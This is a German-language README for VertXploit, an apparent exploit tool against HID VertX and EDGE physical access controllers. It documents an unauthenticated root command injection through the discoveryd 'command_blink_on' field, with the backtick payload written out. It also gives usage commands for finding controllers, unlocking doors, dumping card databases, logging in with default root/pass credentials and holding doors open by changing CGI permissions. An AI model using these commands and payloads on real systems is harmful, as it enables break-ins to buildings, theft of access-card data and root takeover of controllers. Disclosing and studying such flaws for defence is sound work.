
Ausnutzung von HID VertX- und EDGE-Zutrittskontrollsystemen
Ausnutzen von HID VertX- und EDGE-Zutrittskontrollsystemen
VertXploit ist ein Tool, mit dem HID VertX- und EDGE-Zutrittskontrollsysteme ausgenutzt werden können.
Im discoveryd-Dienst existiert eine Schwachstelle, die Benutzerdaten nicht bereinigt, bevor Systemaufrufe ausgeführt werden. Dadurch ist die Ausführung beliebigen Codes auf HID VertX- und EDGE-Zutrittskontrollsystemen ohne Authentifizierung möglich. Siehe Abschnitt Befehlseinschleusung für weitere Informationen.
VertXploit kann Türen ent- oder verriegeln, die mit dem Zutrittskontrollsystem verbunden sind, die Datenbanken mit allen bereitgestellten/zwischengespeicherten Zutrittskontrollkarten herunterladen und, falls anfällig, beliebige Befehle als root auf dem VertX-System ausführen.
Wenn die Firmware des VertX-Controllers kürzlich aktualisiert wurde, versucht vertXploit, die Türen über die Webkonsole zu ent- oder verriegeln, indem es den Standard- oder benutzerdefinierten Benutzernamen und das Passwort verwendet.
Führen Sie pip install -r requirements.txt aus, um die erforderlichen Python-Module zu installieren.
Führen Sie ./vertXploit.py -h aus, um das Hilfemenü anzuzeigen, oder ./vertXploit.py ACTION -h, um Hilfe für eine bestimmte Aktion anzuzeigen.
Führen Sie vertXploit nur mit dem Aktionsargument discover aus, um alle HID-Zutrittskontrollsysteme im lokalen Broadcast-Netzwerk zu entdecken. Wenn eine IP-Adresse mit dem optionalen --ip IP Argument angegeben wird, verwendet vertXploit python-nmap, um diesen /24-Netzwerkbereich nach Systemen mit offenem Port 4050 zu scannen. VertXploit sendet dann ein UDP-Erkennungspaket an die identifizierte IP-Adresse, um festzustellen, ob es sich bei diesem System um ein HID-Zutrittskontrollpanel handelt.
Beispiel:
./vertXploit.py discover
./vertXploit.py discover --ip 10.1.10.5
Sobald ein Controller entdeckt wurde, führen Sie vertXploit mit dem Aktionsargument fingerprint und der IP-Adresse des Zutrittscontrollers aus, um detaillierte Informationen über das Zutrittskontrollpanel zu erhalten.
Beispiel:
./vertXploit.py fingerprint 10.1.10.5
Um Türen zu ent- oder verriegeln, die mit dem Zutrittskontrollpanel verbunden sind, führen Sie vertXploit mit dem Aktionsargument unlock oder lock und der IP-Adresse des Controllers aus. Wenn der Controller nicht anfällig für den Command-Injection-Exploit ist, versucht vertXploit, die Türen über die Webkonsole zu ent- oder verriegeln. Diese Methode verwendet den Standardbenutzernamen 'root' und das Standardpasswort 'pass', oder Sie können mit den Argumenten --username USERNAME und --password PASSWORD eigene Angaben machen.
Beispiel:
./vertXploit.py unlock 10.1.10.5
./vertXploit.py unlock 10.1.10.5 --username test --password test
Mit dem Aktionsargument raw und der IP-Adresse des Controllers können beliebige Linux-Befehle auf dem Zutrittskontrollsystem ausgeführt werden. Der Befehl kann fehlschlagen, wenn er nicht auf dem Controller installiert ist (Python, Perl, Ruby usw.). Als einfacher Proof of Concept scheint der native Linux-Befehl 'ping' auf allen getesteten VertX- und EDGE-Modellen zu funktionieren.
Beispiel:
./vertXploit.py raw 10.1.10.5 'ping -c 5 10.1.10.39'
Um die Kartendatenbanken des Controllers herunterzuladen, führen Sie vertXploit mit dem Aktionsargument download und der IP-Adresse des Controllers aus. Der Controller muss anfällig für die Command-Injection-Schwachstelle sein, und Sie müssen in der Lage sein, auf die Weboberfläche des Controllers zuzugreifen, um die beiden Kartendatenbanken herunterzuladen. Für die Webauthentifizierung werden standardmäßig der Benutzername 'root' und das Passwort 'pass' verwendet, oder Sie können mit den Argumenten --username USERNAME und --password PASSWORD eigene Angaben machen.
Beispiel:
./vertXploit.py download 10.1.10.5
./vertXploit.py download 10.1.10.5 --username test --password test
Nachdem Sie die Datenbanken 'IdentDB' und 'AccessDB' vom Controller heruntergeladen haben, verwenden Sie das Aktionsargument dump, um den Inhalt der Datenbanken auszugeben. Optional können Sie mit dem Argument --path PATH den lokalen Dateipfad zu den Datenbanken angeben.
Beispiel:
./vertXploit.py dump
./vertXploit.py dump --path /root/VertX/DBs/
Typischerweise werden mehrere VertX- oder EDGE-Zutrittscontroller zusammen installiert und untergebracht. Der Diagnosebefehl command_blink_on kann an einen bestimmten Controller gesendet werden, wodurch die physische "Comm"-LED des Panels zur visuellen Identifizierung blinkt. Dieser Befehl endet normalerweise mit der Anzahl der Blinkvorgänge der LED, im folgenden Fall 30 Mal.
command_blink_on;044;00:11:22:33:44:55;30;
Wenn die Anzahl der Blinkvorgänge durch einen in Backticks eingeschlossenen Linux-Befehl ersetzt wird, wird der Befehl auf dem Zutrittscontroller als root ausgeführt.
command_blink_on;044;00:11:22:33:44:55;`ping -c 5 10.1.10.39`;
Um Türen, die mit dem Zutrittskontrollsystem verbunden sind, remote zu ent- und zu verriegeln, werden Befehle in /tmp/a geschrieben. Dies geschieht, weil eine Längenbegrenzung von 41 Zeichen – ohne die zwei Backticks – besteht, die an den Controller gesendet werden können. Hinweis: echo wird anstelle von printf verwendet, weil einige ältere VertX-Controller BusyBox < 1.0.1 ausführen, das kein printf enthält.
Die Zeilenumbrüche, die beim Schreiben der Befehle in die Datei entstehen, werden dann durch Ausführen von tr -d '\n' < /tmp/a > /tmp/b entfernt, und gewollte Zeilenumbrüche werden durch Ausführen von tr '!' '\n' < /tmp/b > /tmp/a eingefügt.
Das Skript /tmp/a wird anschließend ausgeführt, und beide Dateien werden gelöscht. Unten ist dargestellt, welche Befehle in /tmp/a geschrieben werden, wenn die Unlock- und Lock-Befehle an den VertX-Controller gesendet werden.
# Set QUERY_STRING to the door unlock value
export QUERY_STRING="?ID=0&BoardType=VXXX&Description=Strike&Relay=1&Action=1"
# Run 'diagnostics_execute.cgi' script
/mnt/apps/web/cgi-bin/diagnostics_execute.cgi
# Remove executable permissions to prevent the door from locking
chmod -x /mnt/apps/web/cgi-bin/diagnostics_execute.cgi
# Enable executable permissions
chmod +x /mnt/apps/web/cgi-bin/diagnostics_execute.cgi
# Set QUERY_STRING to the door lock value
export QUERY_STRING="?ID=0&BoardType=VXXX&Description=Strike&Relay=1&Action=0"
# Run 'diagnostics_execute.cgi' script
/mnt/apps/web/cgi-bin/diagnostics_execute.cgi